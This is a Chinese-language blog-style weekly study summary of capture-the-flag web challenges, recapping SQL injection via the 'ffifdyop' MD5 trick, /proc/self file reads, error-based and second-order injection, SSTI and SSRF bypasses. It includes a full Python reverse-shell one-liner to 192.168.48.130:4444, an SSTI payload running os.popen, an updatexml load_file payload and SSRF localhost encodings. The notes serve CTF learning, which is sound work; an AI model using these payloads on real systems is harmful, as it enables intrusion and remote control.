2023 10月2日 至 10 月8日学习总结

学了半天 想了还是需要进行个总结

1.做的题目

NSSCTF [BJDCTF 2020]easy_md5 md5实现sql-CSDN博客

[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息_双层小牛堡的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入_双层小牛堡的博客-CSDN博客

攻防世界 mfw git泄露构造闭合-CSDN博客

攻防世界 Web_python_template_injection SSTI printer方法_双层小牛堡的博客-CSDN博客

CTFSHOW SSRF_双层小牛堡的博客-CSDN博客

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等-CSDN博客

CTFHUB - SSRF_双层小牛堡的博客-CSDN博客

[b01lers2020]Welcome to Earth_双层小牛堡的博客-CSDN博客

以上是

2023 10月2-8日做的题目 正值国庆假期 所以题目会多点

2.知识点

这里进行知识点的复习

特殊的MD5 实现万能钥匙闭合

题目内容是 一个sql语句

select *  from password = md5($pass,true)

这里会通过MD5 然后进行查询

这里就会有一个特殊的md5

ffifdyop

md5为 276F722736C95D99E921722CF9ED621C

然后通过十六进制转字符串

为'or'6  É]é!r,ùíb

所以传入的值变为了

select *  from password = ''or'6  É]é!r,ùíb'

就会实现万能密码的作用

这里还有一个

129581926211651571912466741651878684928

作用是一样的

proc/self文件夹

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

文件夹里都是和进程相关的

首先存在 environ 和 cmdline

其中会存在敏感信息

存在任意文件读取 我们可以去读取这个

然后获取完如果想获得当前工作环境的文件内容

可以通过 /proc/self/cwd/文件 来读取

如果文件代码中存在 open 打开文件的字样

那么就会在 /proc/self/fd/[0-999] 中创建

然后我们就可以通过 bp爆破 获取敏感信息

反弹shell

主要是python反弹shell

首先可以通过

os.system(shell)

发现可以执行命令

然后可以让受害者 主动链接攻击机器 主要方式是通过免费域名

然后进行监听端口

主要反弹shell的代码

//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

NATAPP -

这里可以免费获取

没有回显的rce就可以使用这个

报错注入读取文件

通过 load_file("文件") 来读取

updatexml(1,concat(0x7e,(select load_file('/flag'))),3)

二次注入

    $address = addslashes($_POST["address"]);

发现没有进行过滤

    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];

并且会从数据库进行读取

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

这里的old_address 那么我们输入报错语句 ' updatexml() 就会一样的输出 因为只是作为转义存入了

所以会原封不动的输出

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='"' updatexml()#"' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

实现了 二次注入

SSTI的 printer方法

这里只是记录一下 这个方法也可以实现注入

格式为下面的

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

SSRF ctfshow内容

主要是 sudo.cc 表示 127.0.0.1

127.1 表示127.0.0.1

无回显rce localeconv() array_reverse() session_start()

因为过滤了 __ dir

无法使用以前的 print_r(FILE)

这里可以通过 localeconv() 返回当前目录中的 .

然后通过指定 . 使用 current(localeconv())

print_r(current(localeconv)) 就类似于 print_r('.')

会回显当前

array_reverse 让数组倒序输出

这里还可以使用 session_start(session_id) 开启 session 然后通过 session 传递 flag.php

所以直接

print_r(session_start(session_id))

Cookie: PHPSESSID=flag.php

即可

SSRF ctfhub内容

打中间件直接使用 gopherus

git clone https://github.com/tarunkant/Gopherus.git

通过 工具生成 payload 然后 进行一次 url编码 即可

通过蚁剑链接 实现rce

可以通过

dict://127.0.0.1:xx 扫描端口 发现服务

gopher:// 可以伪造请求包 发送请求

格式

gopher://ip:port/_内容

需要进行2次url

%0a 需要 替换为%0d%0a

结尾也需要加上 %0d%0a

FASTCGI 作为服务器和解释器之间的协议

我们可以伪造包去访问FASTCGI 然后通过设置包含 实现rce

ctf@127.0.0.1 会被解析为 127.0.0.1

127.0.0.1:
 
 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
 
或者利用其他为 127.0.0.1的内容
 
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302可以通过短网址-短链接生成 还有 xip.io

DNS bypass 就是通过时间差 转变域名的 ip 当第一次ip通过检查后 第二次变为127.0.0.1

rbndr.us dns rebinding service

python排列组合方式

from itertools import permutations
 
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
 
item = permutations(flag)
 
for i in item:
    k=''.join(list(i))
    if k.startswith('pctf{')    and k[-1]=='}':
        print(k)

可以输出数组所有组合方式 我们确定开头和结尾 即可得到flag

3.不足

做题 没有沉下心来做 没思路就去看wp了

有的时候做题 感觉不难的 为什么不坚持坚持 去搜搜知识点 而不是直接搜wp来做

4.下一周计划

美亚可以准备了

buu继续做

nss 可以跟上 做点比赛真题

相关推荐
数据与后端架构提升之路21 分钟前
从神经元到神经网络:深度学习的进化之旅
人工智能·神经网络·学习
一行130 分钟前
电脑蓝屏debug学习
学习·电脑
星LZX44 分钟前
WireShark入门学习笔记
笔记·学习·wireshark
阑梦清川1 小时前
在鱼皮的模拟面试里面学习有感
学习·面试·职场和发展
qq_433099401 小时前
Isaac Gym学习笔记——概述
学习
秃头佛爷3 小时前
Python学习大纲总结及注意事项
开发语言·python·学习
dayouziei5 小时前
java的类加载机制的学习
java·学习
dsywws8 小时前
Linux学习笔记之vim入门
linux·笔记·学习
晨曦_子画9 小时前
3种最难学习和最容易学习的 3 种编程语言
学习
城南vision9 小时前
Docker学习—Docker核心概念总结
java·学习·docker